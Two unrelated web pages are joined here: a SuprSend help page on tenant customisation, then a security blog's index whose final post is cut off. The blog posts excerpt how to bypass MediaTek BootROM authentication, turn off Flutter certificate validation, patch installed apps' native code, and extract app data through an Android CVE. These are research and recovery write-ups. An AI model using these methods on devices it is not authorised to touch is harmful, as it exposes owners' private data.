Tenants OpenAI Open in ChatGPT Learn what tenants stand for and how you can customize notifications for each tenant. OpenAI Open in ChatGPT If you handle communications to end users on behalf of your customers, you might be tasked with handling custom styling in the messages. This can be quite cumbersome if you have to maintain these customisation for every tenant in your codebase. Tenants empower you to send personalized communication on behalf of your customers using a single API. You just have to store tenant guidelines like logo, name, colors, social links and other custom properties for your customers once and then use your tenant variables in templates to dynamically render the template for each of your customer. You can programmatically create / update tenant using either one of our backend SDKs ( Python , Node , Java , Go ) or through SuprSend dashboard. We’ll cover the method to create tenant using SuprSend dashboard. Creating / Updating tenant on SuprSend platform Go to Tenants page from Side Navigation panel. On the tenants page, you’ll see a default tenant created. For every organization, we create a default tenant which represents org level settings like org logo, colors, social links etc. You can create a new tenant by clicking on “New Tenant” button. This will open a form to add tenant id and tenant name . Add the required fields and click on Create tenant Tenant id is a unique identifier for your tenant and can’t be changed once the tenant is created. You’ll have to pass tenant_id in your workflow / event calls to render tenant level customization in your templates. (if no tenant_id is passed, default tenant properties are picked). So, add a tenant_id which is unique and easily identifiable for you. Tenant name can be your customer company / organization name This will open tenant details page. Fill tenant details and Save changes. You can always come back and edit it again later Here are the form fields and its description Field Type Description Tenant ID string of max character length of 64 characters with allowed characters ([a-z0-9_-] that is alphanumeric characters, _ (underscore) and - (hyphen).) tenant_id is used to identify tenant in workflow and event call Tenant Name single line text Name of the company / organization Logo image Tenant logo. Used to render logo in email tenant header Tenant colors 6 digit color code Tenant color settings are mainly used while designing templates. Primary tenant color is used in button, header and footer border in tenant email template. If you don’t provide any of the colors for the tenant, SuprSend will assume you want to use the default values, so color settings will automatically be set to the color settings of default tenant. Social Links URL URLs of social media accounts of the tenant It is used to render social media logos in tenant email footer. if the link is not passed, that logo will not be shown in the footer. Custom Properties JSON Custom properties associated with the tenant. The option to add custom properties is currently not available on the dashboard but you can update it using backend SDK or APIs You can use HTTP API or manage tenants using one of our backend SDKs: Update tenant using python SDK Update tenant using node SDK Update tenant using java SDK Update tenant using go SDK Using tenant components in templates 1. Ready-to-use tenant components in email You can use tenant component in email to add ready-to-use header, footer and buttons in your email template. Tenant component automatically uses tenant logo, social links and primary color to style the email template. You’ll find the tenant component in right side content menu in email editor. You can add tenant component and change block type to switch between header, footer and buttons You can change the component using standard customization options like padding, background color etc. to best suit your email template. 2. Use Tenant variable for all channels You can add tenant variables in all channel templates as $tenant.<property> . e.g., if you have to add tenant_name in your template, you can add it as $tenant.tenant_name . Also, when you type { , tenant variable will automatically come up in auto-suggestions for your to add in the template Triggering notification for your Tenant After adding the tenant variables in your template, you can add tenant_id in your workflow or event trigger to trigger notification for that tenant. This will replace tenant variables with the properties of that tenant at run time. 1. Adding tenant_id in workflow trigger python Node go Copy Ask AI from suprsend import Workflow # Prepare Workflow body workflow_body = { ... } # Add tenant_id in workflow instance wf = Workflow( body = workflow_body, tenant_id = '_tenant_id' ) # Trigger workflow response = supr_client.trigger_workflow(wf) print (response) 2. Adding tenant_id in event trigger python Node go Copy Ask AI from suprsend import Event distinct_id = "distinct_id" # Mandatory, Unique id of user in your application event_name = "event_name" # Mandatory, name of the event you're tracking # Properties: Optional, default=None, a dict representing event-attributes properties = { "key1" : "value1" , "key2" : "value2" } # Add tenant_id in event instance event = Event( distinct_id = distinct_id, event_name = event_name, properties = properties, tenant_id = '_tenant_id_' ) # Track event response = supr_client.track_event(event) print (response) Possible customizations at Tenant Level Custom Template Designs for Each Tenant : You can create unique template designs for each tenant using tenant-specific properties. Refer to the above section for details on how to implement this. Route Tenant messages from their own vendors : You can direct messages through a tenant’s designated vendors by configuring tenant vendors on the vendor settings page. Messages will be sent via the vendor associated with the tenant_id provided in the trigger. If no tenant vendor is set, the system will use the default vendor settings. Tenant level preference setting : Tenants can control what notifications should be sent to their associated users and the their default preference setting. It can be used for cases where admin wants to control the notifications that their teammates receive or when you are sending notifications to multiple tenant’s users and tenant wants to control the notifications their users receive, on which channels and at what frequency. Read more about tenant preferences here . Was this page helpful? Yes No Suggest edits Raise issue Previous Manage Lists Create and manage subscriber lists for bulk notifications and campaigns. Next ⌘ I x github linkedin youtube Powered by On this page Creating / Updating tenant on SuprSend platform Using tenant components in templates 1. Ready-to-use tenant components in email 2. Use Tenant variable for all channels Triggering notification for your Tenant 1. Adding tenant_id in workflow trigger 2. Adding tenant_id in event trigger Possible customizations at Tenant Level | 2026-01-13T08:47:54 |
https://tinyhack.com/ | Tinyhack.com – A hacker does for love what others would not do for money. --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Intel® Instrumentation and Tracing Technology (ITT) is a profiling API that developers use to analyze performance. The ITT library is available for many platforms. It used by many Android applications, either directly, or indirectly (e.g: via precompiled OpenCV library for Android officially downloaded from OpenCV website). Intel advisory is here: https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01337.html A bug was found that allows ITT to load arbitrary shared library. This shared library can do anything (executing arbitrary code, exfiltrating data, etc). Fortunately the exploitation is not that easy (requires adb access either via PC or Shizuku app, so remote exploitation should not be possible). POC is available on my github, but read on to understand this bug. OpenCV copies all ITT API files verbatim to their 3rdparty/ittnotify directory. ITT is always built for Android platform (can’t be disabled via CMake config): OCV_OPTION(BUILD_ITT "Build Intel ITT from source" (NOT MINGW OR OPENCV_FORCE_3RDPARTY_BUILD) IF (X86_64 OR X86 OR ARM OR AARCH64 OR PPC64 OR PPC64LE) AND NOT WINRT AND NOT APPLE_FRAMEWORK ) Any Android application using OpenCV up until 4.10 is affected, 4.11 and later are safe. There is no warning about this CVE in OpenCV because they were released before this CVE was published and they have accidentally fixed the bug (see this ) because someone wants to support OpenBSD (“ 3rdparty/ittnotify had not been updated until 9 years. To support OpenBSD, I suggest to update to latest release version v3.25.4 “) Continue reading “CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10)” Author admin Posted on November 9, 2025 November 11, 2025 Categories android , mobile , reverse-engineering , security , writeup Tags include Leave a comment on CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs I recently helped a company recover their data from the Akira ransomware without paying the ransom. I’m sharing how I did it, along with the full source code. Update: since this article was written, a new version of Akira ransomware has appeared that can’t be decrypted with this method The code is here: https://github.com/yohanes/akira-bruteforce To clarify, multiple ransomware variants have been named Akira over the years, and several versions are currently circulating. The variant I encountered has been active from late 2023 to the present (the company was breached this year). There was an earlier version (before mid-2023) that contained a bug, allowing Avast to create a decryptor. However, once this was published, the attackers updated their encryption. I expect they will change their encryption again after I publish this. https://decoded.avast.io/threatresearch/decrypted-akira-ransomware You can find various Akira malware sample hashes at the following URL: https://github.com/rivitna/Malware/blob/main/Akira/Akira_samples.txt The sample that matches my client’s case is: bcae978c17bcddc0bf6419ae978e3471197801c36f73cff2fc88cecbe3d88d1a It is listed under the version: Linux V3 . The sample can be found on virus.exchange (just paste the hash to search). Note that the ransom message and the private/public keys will differ. We do this not because it is easy, but because we thought it would be easy I usually decline requests to assist with ransomware cases. However, when my friend showed me this particular case, a quick check made me think it was solvable. Continue reading “Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs” Author admin Posted on March 13, 2025 November 7, 2025 Categories hacks , reverse-engineering , security Tags define , Final 76 Comments on Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs Patching .so files of an installed Android App If we installed an Android APK and we have a root access, we can modify the .so (native) filesof that app without altering the signature. This is true even if extractNativeLibs is set to false in AndroidManifest.xml . We can also patch the AOT compiled file (ODEX/VDEX) without changing the package signature, but that’s another story, I am just going to focus on the native code. native libraries are stored uncompressed and page aligned As a note: this is not a vulnerability, it requires root access. This method was discussed in the Mystique exploit presentation (2022). I just want to show that this is useful for pentest purpose, with an extra tip of how to write binary patch in C. Background I was doing a pentest on an Android app with a complex RASP. There are many challenges: If I unpack the APK file and repack it, it can detect the signature change If I use Frida, it can detect Frida in memory, even when I change the name using fridare It can detect Zygisk, so all injection methods that use Zygisk are detected It can detect hooks on any function, not just PLT. It seems that it is done by scanning the prologue of functions to see if it jumps to a location outside the binary; the app developer needs to call this check manually (this is quite an expensive operation), which is usually done before it performs some critical scenario. The RASP uses a native library, which is obfuscated Given enough time, I am sure it is possible to trace and patch everything, but we are time-limited, and I was only asked to check a specific functionality. When looking at that particular functionality, I can see that it is implemented natively in a non-obfuscated library. In this specific case, If I can patch the native code without altering the signature, I don’t need to deal with all the anti-frida, anti-hook, etc. Continue reading “Patching .so files of an installed Android App” Author admin Posted on November 18, 2024 February 12, 2025 Categories android , mobile , reverse-engineering Tags include 2 Comments on Patching .so files of an installed Android App Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 I want to make a WhatsApp message backup from a non-rooted Android 12 Phone. A few years ago, I used Whatsapp-Chat-Exporter to convert the backup to HTML, but first, I had to extract the database from the phone. The method pointed out by Whatsapp-Chat-Exporter to extract from non-root has remained the same for many years: downgrade to an old version of WhatsApp that allows backup, then create an Android backup that contains the WhatsApp database. This doesn’t work for WhatsApp for Business because there was no version that allowed backup. Depending on your use case, you might be able to move WhatsApp to a new device that can be rooted and then extract the files there (very easy when you have root access). When looking at the new Zygote Bug by Meta Red Team X (CVE-2024-31317), I thought it could be used to perform backup extraction, but then I saw the previous entry on that blog (CVE-2024-0044), which is much easier to use (but only works in Android 12 and 13 that has not received Marh 2024 security update). CVE-2023-0044 This exploit can work for any non-system app, not just for extracting data from WhatsApp/WhatsApp business. For an expert, the explanation for the exploit is very obvious. I am writing here for end users or beginners who need a step-by-step guide to extracting their WA database. Continue reading “Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044” Author admin Posted on June 7, 2024 June 7, 2024 Categories android , mobile , security 9 Comments on Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 Zygisk-based reFlutter I developed a Zygisk module for rooted Android phones with Magisk (and Zygisk enabled). This module allows you to “reFlutter” your Flutter App at runtime, simplifying the testing and reverse engineering processes. If you don’t want to read the detail, the release is available at: https://github.com/yohanes/zygisk-reflutter Continue reading “Zygisk-based reFlutter” Author admin Posted on April 9, 2024 April 9, 2024 Categories android , mobile , reverse-engineering 1 Comment on Zygisk-based reFlutter Using U-Boot to extract Boot Image from Pritom P7 This is a guide to extract the boot image from a cheap Android tablet based on Allwinner A133 using U-Boot (accessed via UART). The original firmware was not found on the internet. With the boot image and Magisk, you can root your Android tablet to make it more useful. Pritom P7 is a very cheap Android tablet. I bought it for 33 USD from AliExpress, but it can be found for as low as 27 USD. This is a Google GMS-certified device (it passes Play Integrity, no malware was found when I received it), and it uses 32-bit Android Go. I am only using this to test some 32-bit Android app compatibility. I bought it for 32.75 USD They may have several variants of this model with different specifications. Mine is: Alwinner A133, 1.5GB RAM (advertised as 2GB, and shown as 2GB in the Android info), 32 GB ROM, only 2.4 GHz WIFI, no GPS. Unlockable Bootloader Luckily, we are allowed to unlock the bootloader of this device using the developer menu, adb reboot bootloader then using fastboot oem unlock . Some cheap Android devices don’t allow unlocking (for example, the ones that are based on recent Unisoc SOC). I can allow bootloader unlock using the OEM Unlocking option The product ID of my tablet is P7_EEA (Android 11) with kernel version Linux localhost 5.4.180-svn33409-ab20220924-092422 #28 SMP PREEMPT Sun Aug 20 19:13:45 CST 2023 armv8l . The build number is PRITOM_P7_EEA_20230820 . I did not find any Android exploit for this device, and I also didn’t find any backdoors. From my experience, some of these cheap Android devices have hidden su backdoors. Unable to find an exploit, I gave up trying to extract boot image from user space. With some SOC, you can easily read/dump/extract the flash using PC software. I didn’t find any software for this Allwinner chip. An example of a SOC that allows flash reading is Unisoc (formerly Spreadtrum), but on the other hand, the bootloader on phones and tablets with the latest SOCs from Unisoc (that I know of) is not unlockable. UART Fortunately, this device is easy to open, and a UART pin is on the top left near the camera. UART + FEL pad on top, near the camera Continue reading “Using U-Boot to extract Boot Image from Pritom P7” Author admin Posted on January 18, 2024 January 19, 2024 Categories android , hacks , hardware , mobile , phone Tags 28 26 Comments on Using U-Boot to extract Boot Image from Pritom P7 Reverse Engineering RG35XX Stock Firmware A friend gave me an Anbernic RG35XX to hack. This is a retro gaming device (it just means that it is designed to emulate old consoles). It comes with two OS: Stock OS and Garlic OS. Stock OS is closed source, and Garlic OS is open source, except for the kernel part (all are closed source). You can switch from one OS to another via a menu. Stock OS starting my custom binary. In my opinion, the stock OS is fast and quite user-friendly but is not customizable, although many people like Garlic OS more because it can emulate more systems. Kernel part Anbernic won’t release the source for ATM7039S, and no datasheet is found for this SOC. The stock RG35XX OS uses a slightly different kernel compared to the Garlic OS. Someone was able to compile the kernel from an old S500 device and have the GPU to work . Koriki for RG35XX was based on this kernel, but from the information in Discord, the latest Koriki release uses a stock kernel. There is no serial port accessible and no debug interface available, so trying to hack the kernel will be a painful experience. Stock RG35XX boot sequence The kernel is stored as a uImage file on the first partition (FAT32). The built-in bootloader (u-boot) will boot load this file, and it will mount ramdisk.img . Inside ramdisk.img , we can find: /init , /init.rc , loadapp.sh . The kernel will start /init , which is based on Android init (it uses bionic libc). /init will load /init.rc , and on the last lines, it contains instructions to start loadapp.sh service loadapp /system/bin/logwrapper /loadapp.sh class core loadapp.sh will load /system/dmenu/dmenu_ln . The dmenu_ln can be found on the second partition (ext4), and this is just a shell script that will start /mnt/vendor/bin/dmenu.bin that can also be found on the second partition. dmenu.bin is the main shell for the OS. This is written in C using SDL1.2, but it uses custom input handling instead of using SDL_WaitEvent . Custom Input Handling Some people swear that the input handling in the Stock RG35XX OS is faster than the other alternative OS. I can’t feel it, but the Stock OS does process input events manually. To reverse engineer how it works, I use Ghidra. Since this is not security-related software, there is no protection or obfuscation so the code can be decompiled quite cleanly. Reverse engineering It starts by opening /dev/input/ to find a device that has a name: gpio-keys-polled (this name is obtained using ioctl call with request EVIOCGNAME ). Then, it will start a thread (using pthread) to poll this device. The power button is a separate device from all other buttons, and the reset button (under the power button) is hardwired to reset the console. Emulator modification Inside appres/bin/game on the second partition, we can see several binaries for each emulator. All of them have been modified by Anbernic: They use custom error handling The menu button is set to display the menu (so all emulators have the same interface) Added Video filter effect (such as dot-matrix) implemented in C (not using GPU) Compiling for RG35XX stock OS Usually, we will need an SDK to compile an app, but since we know the target architecture, calling convention, and the libraries used, we can work around this problem. To compile a simple SDL app that will run on the Stock OS, we will need a compiler, header files, and some libraries. For the compiler, download Linaro toolchain 4.7 (closest to existing binaries on the system) from here (choose gnueabihf): https://releases.linaro.org/archive/12.11/components/toolchain/binaries/ For the headers, download the latest SDL1.2 and use the default SDL config. And for the libraries, we can use files from /lib on the second partition. Remove libc.so and libm.so , these two are bionic files and will cause errors. Then, add files from usr/local/lib/arm-linux-gnueabihf (also from the second partition). Then, you should be able just to compile everything manually. Outputs to stdout/stderr will not be visible, so use dup2 to redirect these to files. Small Demo App In this repository, you can see my small demo app. I included all the libraries to make it easy for anyone to start (please change CC path in Makefile to your installation directory). https://github.com/yohanes/rg35xx-stock-sdl-demo This is a very simple app to replace dmenu.bin (please rename the original dmenu.bin to orig.bin ), it only provides three functions: Testing key events Starting ADB (useful for transferring files and debugging), I Included my own ADB_ON.sh which needs to be copied to the same location as dmenu.bin Starting the original launcher (now named orig.bin ) I am not planning to develop this. Maybe someone can make a better launcher based on this. Author admin Posted on December 31, 2023 December 31, 2023 Categories hardware , reverse-engineering Leave a comment on Reverse Engineering RG35XX Stock Firmware When you deleted /lib on Linux while still connected via ssh Let’s first not talk about why this can happen, but deleting /lib , /usr/lib , or some other essential runtime files happens quite a lot (as you can see: here , here , here , and here ). In this post, I will only discuss what happens when you delete /lib on Linux and how to recover from that. The easy solution for everything is to replace the missing files, but this can be difficult if /lib is deleted because we won’t have ld-linux , which is needed to run any dynamic executable. When you deleted /lib , all non-static executable (such as ls , cat , etc , will output): No such file or directory You will also be unable to open any new connection using ssh, or open a new tmux window/pane if you are using tmux. So you can only rely on your current shell built in, and some static executables that you have on the system. If you have a static busybox installed, then it can be your rescue. You can use wget from busybox to download libraries from a clean system. For your information: Debian has busybox installed by default, but the default is not the static version. Minimal Debian install If you are worried that this kind of problem might happen to you in the future: Install the static version of the busybox binary, and confirm that it is the correct version. Installing static busybox Continue reading “When you deleted /lib on Linux while still connected via ssh” Author admin Posted on September 16, 2022 September 16, 2022 Categories debian , hacks , linux 1 Comment on When you deleted /lib on Linux while still connected via ssh Reverse Engineering a Flutter app by recompiling Flutter Engine It is not easy to reverse engineer a release version of a flutter app because the tooling is not available and the flutter engine itself changes rapidly. As of now, if you are lucky, you can dump the classes and method names of a flutter app using darter or Doldrums if the app was built with a specific version of Flutter SDK. If you are extremely lucky, which is what happened to me the first time I needed to test a Flutter App: you don’t even need to reverse engineer the app. If the app is very simple and uses a simple HTTPS connection, you can test all the functionalities using intercepting proxies such as Burp or Zed Attack Proxy. The app that I just tested uses an extra layer of encryption on top of HTTPS, and that’s the reason that I need to do actual reverse engineering. In this post, I will only give examples for the Android platform, but everything written here is generic and applicable to other platforms. The TLDR is: instead of updating or creating a snapshot parser, we just recompile the flutter engine and replace it in the app that we targeted. Flutter compiled app Currently several articles and repositories that I found regarding Flutter reverse engineering are: Reverse engineering Flutter for Android (explains the basic of snapshot format, introduces, Doldrums, as of this writing only supports snapshot version 8ee4ef7a67df9845fba331734198a953) Reverse engineering Flutter apps (Part 1) a very good article explaining Dart internals, unfortunately, no code is provided and part 2 is not yet available as of this writing darter: Dart snapshot parser a tool to dump snapshot version c8562f0ee0ebc38ba217c7955956d1cb The main code consists of two libraries libflutter.so (the flutter engine) and libapp.so (your code). You may wonder: what actually happens if you try to open a libapp.so (Dart code that is AOT compiled) using a standard disassembler. It’s just native code, right? If you use IDA, initially, you will only see this bunch of bytes. If you use other tools, such as binary ninja which will try to do some linear sweep, you can see a lot of methods. All of them are unnamed, and there are no string references that you can find. There is also no reference to external functions (either libc or other libraries), and there is no syscall that directly calls the kernel (like Go).. With a tool like Darter dan Doldrums, you can dump the class names and method names, and you can find the address of where the function is implemented. Here is an example of a dump using Doldrums. This helps tremendously in reversing the app. You can also use Frida to hook at these addresses to dump memory or method parameters. The snapshot format problem The reason that a specific tool can only dump a specific version of the snapshot is: the snapshot format is not stable, and it is designed to be run by a specific version of the runtime. Unlike some other formats where you can skip unknown or unsupported format, the snapshot format is very unforgiving. If you can’t parse a part, you can parse the next part. Basically, the snapshot format is something like this: <tag> <data bytes> <tag> <data bytes> … There is no explicit length given for each chunk, and there is no particular format for the header of the tag (so you can’t just do a pattern match and expect to know the start of a chunk). Everything is just numbers. There is no documentation of this snapshot, except for the source code itself. In fact, there is not even a version number of this format. The format is identified by a snapshot version string. The version string is generated from hashing the source code of snapshot-related files . It is assumed that if the files are changed, then the format is changed. This is true in most cases, but not always (e.g: if you edit a comment, the snapshot version string will change). My first thought was just to modify Doldrums or Darter to the version that I needed by looking at the diff of Dart sources code. But it turns out that it is not easy: enums are sometimes inserted in the middle (meaning that I need to shift all constants by a number). And dart also uses extensive bit manipulation using C++ template. For example, when I look at Doldums code, I saw something like this: def decodeTypeBits(value): return value & 0x7f I thought I can quickly check this constant in the code (whether it has changed or not in the new version), the type turns out to be not a simple integer. class ObjectPool : public Object { using TypeBits = compiler::ObjectPoolBuilderEntry::TypeBits; } struct ObjectPoolBuilderEntry { using TypeBits = BitField<uint8_t, EntryType, 0, 7>; } You can see that this Bitfield is implemented as BitField template class . This particular bit is easy to read, but if you see kNextBit , you need to look back at all previous bit definitions. I know it’s not that hard to follow for seasoned C++ developers, but still: to track these changes between versions, you need to do a lot of manual checks. My conclusion was: I don’t want to maintain the Python code, the next time the app is updated for retesting, they could have used a newer version of Flutter SDK, with another snapshot version. And for the specific work that I am doing: I need to test two apps with two different Flutter versions: one for something that is already released in the app store and some other app that is going to be released. Rebuilding Flutter Engine The flutter engine ( libflutter.so ) is a separate library from libapp.so (the main app logic code), on iOS, this is a separate framework. The idea is very simple: Download the engine version that we want Modify it to print Class names, Methods, etc instead of writing our own snapshot parser Replace the original libflutter.so library with our patched version Profit The first step is already difficult: how can we find the corresponding snapshot version? This table from darter helps, but is not updated with the latest version. For other versions, we need to hunt and test if it has matching snapshot numbers. The instruction for recompiling the Flutter engine is here , but there are some hiccups in the compilation and we need to modify the python script for the snapshot version. And also: the Dart internal itself is not that easy to work with. Most older versions that I tested can’t be compiled correctly. You need to edit the DEPS file to get it to compile. In my case: the diff is small but I need to scour the web to find this. Somehow the specific commit was not available and I need to use a different version. Note: don’t apply this patch blindly, basically check these two things: If a commit is not available, find nearest one from the release date If something refers to a _internal you probably should remove the _internal part. diff --git a/DEPS b/DEPS index e173af55a..54ee961ec 100644 --- a/DEPS +++ b/DEPS @@ -196,7 +196,7 @@ deps = { Var('dart_git') + '/dartdoc.git@b039e21a7226b61ca2de7bd6c7a07fc77d4f64a9', 'src/third_party/dart/third_party/pkg/ffi': - Var('dart_git') + '/ffi.git@454ab0f9ea6bd06942a983238d8a6818b1357edb', + Var('dart_git') + '/ffi.git@5a3b3f64b30c3eaf293a06ddd967f86fd60cb0f6', 'src/third_party/dart/third_party/pkg/fixnum': Var('dart_git') + '/fixnum.git@16d3890c6dc82ca629659da1934e412292508bba', @@ -468,7 +468,7 @@ deps = { 'src/third_party/android_tools/sdk/licenses': { 'packages': [ { - 'package': 'flutter_internal/android/sdk/licenses', + 'package': 'flutter/android/sdk/licenses', 'version': 'latest', } ], Now we can start editing the snapshot files to learn about how it works. But as mentioned early: if we modify the snapshot file: the snapshot hash will change, so we need to fix that by returning a static version number in third_party/dart/tools/make_version.py . If you touch any of these files in VM_SNAPSHOT_FILES , change the line snapshot_hash = MakeSnapshotHashString() with a static string to your specific version. What happens if we don’t patch the version? the app won’t start. So after patching (just start by printing a hello world) using OS::PrintErr("Hello World") and recompiling the code, we can test to replace the .so file, and run it. I made a lot of experiments (such as trying to FORCE_INCLUDE_DISASSEMBLER ), so I don’t have a clean modification to share but I can provide some hints of things to modify: in runtime/vm/clustered_snapshot.cc we can modify Deserializer::ReadProgramSnapshot(ObjectStore* object_store) to print the class table isolate->class_table()->Print() in runtime/vm/class_table.cc we can modify void ClassTable::Print() to print more informations For example, to print function names: const Array& funcs = Array::Handle(cls.functions()); for (intptr_t j = 0; j < funcs.Length(); j++) { Function& func = Function::Handle(); func = cls.FunctionFromIndex(j); OS::PrintErr("Function: %s", func.ToCString()); } Sidenote: SSL certificates Another problem with Flutter app is: it won’t trust a user installed root cert . This a problem for pentesting, and someone made a note on how to patch the binary (either directly or using Frida) to workaround this problem. Quoting TLDR of this blog post : Flutter uses Dart, which doesn’t use the system CA store Dart uses a list of CA’s that’s compiled into the application Dart is not proxy aware on Android, so use ProxyDroid with iptables Hook the session_verify_cert_chain function in x509.cc to disable chain validation By recompiling the Flutter engine, this can be done easily. We just modify the source code as-is ( third_party/boringssl/src/ssl/handshake.cc ), without needing to find assembly byte patterns in the compiled code. Obfuscating Flutter It is possible to obfuscate Flutter/Dart apps using the instructions provided here. This will make reversing to be a bit harder. Note that only the names are obfuscated, there is no advanced control flow obfuscation performed. Conclusion I am lazy, and recompiling the flutter engine is the shortcut that I take instead of writing a proper snapshot parser. Of course, others have similar ideas of hacking the runtime engine when reversing other technologies, for example, to reverse engineer an obfuscated PHP script, you can hook eval using a PHP module. Author admin Posted on March 7, 2021 March 8, 2021 Categories mobile , reverse-engineering , security 3 Comments on Reverse Engineering a Flutter app by recompiling Flutter Engine Dissecting a MediaTek BootROM exploit A bricked Xiaomi phone led me to discover a project in Github that uses a MediaTek BootROM exploit that was undocumented. The exploit was found by Xyz , and implemented by Chaosmaster . The initial exploit was already available for quite a while . Since I have managed to revive my phone, I am documenting my journey to revive it and also explains how the exploit works. This exploit allows unsigned code execution, which in turn allows us to read/write any data from our phone. For professionals: you can just skip to how the BootROM exploit works (spoiler: it is very simple). This guide will try to guide beginners so they can add support for their own phones. I want to show everything but it will violate MediaTek copyright, so I will only snippets of decompilation of the boot ROM. Bricking my Phone and understanding SP Flash Tool I like to use Xiaomi phones because it’s relatively cheap, has an easy way to unlock the bootloader, and the phone is easy to find here in Thailand. With an unlocked bootloader, I have never got into an unrecoverable boot loop, because I can usually boot into fastboot mode and just reflash with the original ROM. I usually buy a phone with Qualcomm SOC, but this time I bought Redmi 10X Pro 5G with MediaTek SOC (MT6873 also known as Dimensity 800). But it turns out: you can get bricked without the possibility to enter fastboot mode. A few years ago, it was easy to reflash a Mediatek phone: enter BROM mode (usually by holding the volume up button and plugging the USB when the phone is off), and use SP Flash Tool to overwrite everything (including boot/recovery partition). It works this way: we enter BROM mode, the SP Flash Tool will upload DA (download agent) to the phone, and SP Flash Tool will communicate with the DA to perform actions (erase flash, format data, write data, etc). But they have added more security now: when I tried flashing my phone, it displays an authentication dialog. It turns out that this is not your ordinary Mi Account dialog, but you need to be an Authorized Mi Account holder (usually from a service center). It turns out that just flashing a Mediatek phone may enter a boot loop without the possibility of entering fastboot mode. Quoting from an XDA article : The developers who have been developing for the Redmi Note 8 Pro have found that the device tends to get bricked for a fair few reasons. Some have had their phone bricked when they were flashing to the recovery partition from within the recovery, while others have found that installing a stock ROM through fastboot on an unlocked bootloader also bricks the device Xiaomi needs a better way to unbrick its devices instead of Authorized Mi Accounts I found one of the ROM modders that had to deal with a shady person on the Internet using remote Team Viewer to revive his phone. He has some explanation about the MTK BootROM security. To summarize: BROM can have SLA (Serial Link Authorization), DAA (Download Agent Authorization), or both. SLA prevents loading DA if we are not authorized. And DA can present another type of authentication. Using custom DA, we can bypass the DA security, assuming we can bypass SLA to allow loading the DA. When I read those article I decided to give up. I was ready to let go of my data. MTK Bypass By a stroke of luck, I found a bypass for various MTK devices was published just two days after I bricked my Phone. Unfortunately: MT6873 is not yet supported. To support a device, you just need to edit one file ( device.c ), which contains some addresses. Some of these addresses can be found from external sources (such as from the published Linux kernel for that SOC), but most can’t be found without access to the BootROM itself. I tried reading as much as possible about the BROM protocol. Some of the documentation that I found: MediaTek details: SoC startup : has a link to BROM documentation Support for Mediatek Devices in Oxygen Forensic® Detective (Explains about BROM protection) Another luck came in a few days later: Chaosmaster published a generic payload to dump the BootROM. I got lucky: the generic payload works immediately on the first try on my phone and I got my Boot ROM dump. Now we need to figure out what addresses to fill in. At this point, I don’t have another ROM to compare, so I need to be clever in figuring out these addresses. We need to find the following: send_usb_response usbdl_put_dword usbdl_put_data usbdl_get_data uart_reg0 uart_reg1 sla_passed skip_auth_1 skip_auth_2 From the main file that uses those addresses we can see that: uart_reg0 and uart_reg1 are required for proper handshake to work. These addresses can be found on public Linux kernel sources. usbdl_put_dword and usbdl_put_data is used to send data to our computer usbdl_get_data is used to read data from computer sla_passed , skip_auth_1 and skip_auth_2 , are the main variables that we need to overwrite so we can bypass the authentication We can start disassembling the firmware that we obtain fro the generic dumper. We need to load this to address 0x0. Not many strings are available to cross-reference so we need to get creative. Somehow generic_dump_payload can find the address for usb_put_data to send dumped bytes to the Python script. How does it know that? The source for generic_dump_payload is is available in ChaosMaster’s repository . But I didn’t find that information sooner so I just disassembled the file. This is a small binary, so we can reverse engineer it easily using binary ninja. It turns out that it does some pattern matching to find the prolog of the function: 2d e9 f8 4f 80 46 8a 46 . Actually, it searches for the second function that has that prolog. Pattern finder in generic_dump_payload Now that we find the send_word function we can see how sending works. It turns out that it sends a 32-bit value by sending it one byte at a time. Note: I tried continuing with Binary Ninja, but it was not easy to find cross-references to memory addresses on a raw binary, so I switched to Ghidra. After cleaning up the code a bit, it will look something like this: What generic_dump_payload found Now we just need to find the reference to function_pointers and we can find the real address for sendbyte . By looking at related functions I was able to find the addresses for: usbdl_put_dword , usbdl_put_data , usbdl_get_data . Note that the exploit can be simplified a bit, by replacing usbdl_put_dword by a call to usbdl_put_data so we get 1 less address to worry about. The hardest part for me was to find send_usb_response to prevent a timeout. From the main file , I know that it takes 3 numeric parameters (not pointers), and this must be called somewhere before we send data via USB. This narrows it down quite a lot and I can find the correct function. Now to the global variables: sla_passed , skip_auth_1 , and skip_auth_2 . When we look at the main exploit in Python, one of the first things that it does is to read the status of the current configuration. This is done by doing a handshake then retrieve the target config . Target config There must be a big “switch” statement in the boot ROM that handles all of these commands. We can find the handshake bytes ( A0 0A 50 05 ) to find the reference to the handshake routine (actually found two of them, one for USB and one for UART). From there we can find the reference to the big switch statement. The handshake You should be able to find something like this: after handshake it starts to handle commands And the big switch should be clearly visible. Switch to handle various commands Now that we found the switch, we can find the handler for command 0xd8 (get target config). Notice in python, the code is like this : Notice the bit mask By looking at the bitmask, we can conclude the name of the functions that construct the value of the config. E.g: we can name the function that sets the secure boot to is bit_is_secure_boot . Knowing this, we can inspect each bit_is_sla and bit_is_daa we can name the functions from the bit that it sets For SLA: we need to find cross-references that call bit_is_sla , and we can see that another variable is always consulted. If SLA is not set, or SLA is already passed, we are allowed to perform the next action. finding sla_passed Now we need to find two more variables for passing DAA. Looking at bit_is_daa , we found that at the end of this function, it calls a routine that checks if we have passed it. These are the last two variables that we are looking for. How the BootROM Exploit Works The exploit turns out very simple. We are allowed to upload data to a certain memory space The handler for USB control transfer blindly index a function pointer table Basically it something like this: handler_array[value*13](); But there are actually some problems: The value for this array is unknown, but we know that most devices will have 0x100a00 as one of the elements We can brute force the value for USB control transfer to invoke the payload We may also need to experiment with different addresses (since not all device has 0x100a00 as an element that can be used) Another payload is also provided to just restart the device. This will make it easy to find the correct address and control value. Closing Remarks Although I was very upset when my phone got bricked, the experience in solving this problem has been very exciting. Thank you to Xyz for finding this exploit, and ChaosMaster for implementing it, simplifying it, and also for answering my questions and reviewing this post. Author admin Posted on January 31, 2021 March 7, 2021 Categories 